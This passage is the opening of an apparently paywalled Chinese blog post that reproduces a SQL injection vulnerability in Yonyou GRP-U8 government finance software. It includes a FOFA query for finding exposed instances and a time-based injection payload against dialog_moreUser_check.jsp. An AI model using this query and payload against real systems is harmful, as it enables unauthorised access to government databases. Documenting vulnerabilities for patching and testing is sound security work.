本文介绍了用友U8的dialog_moreUser_check.jsp存在的SQL注入漏洞，通过POC演示了漏洞复现过程，展示了延时响应的现象。同时提供了利用SQLMAP进行测试的方法，并给出了修复建议，即联系厂商获取更新补丁。文章强调仅供经验分享，对利用信息产生的后果不负责任。
简介
用友GRP-U8是用友软件针对政府及公共部门推出的管理软件产品。
GRP是Government Resource Planning的缩写，即政府资源计划。这个产品设计用于满足政府部门在财务管理、人力资源管理、资产管理、供应链管理等方面的需求。
漏洞复现
FOFA：
app="用友-GRP-U8"
访问界面如下所示：
POC:
/u8qx/dialog_moreUser_check.jsp?mlid=1
/u8qx/dialog_moreUser_check.jsp?mlid=';waitfor+delay+'0:0:5'--
拼接url访问返回信息如下所示：
ip:port/u8qx
订阅专栏 解锁全文
511
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
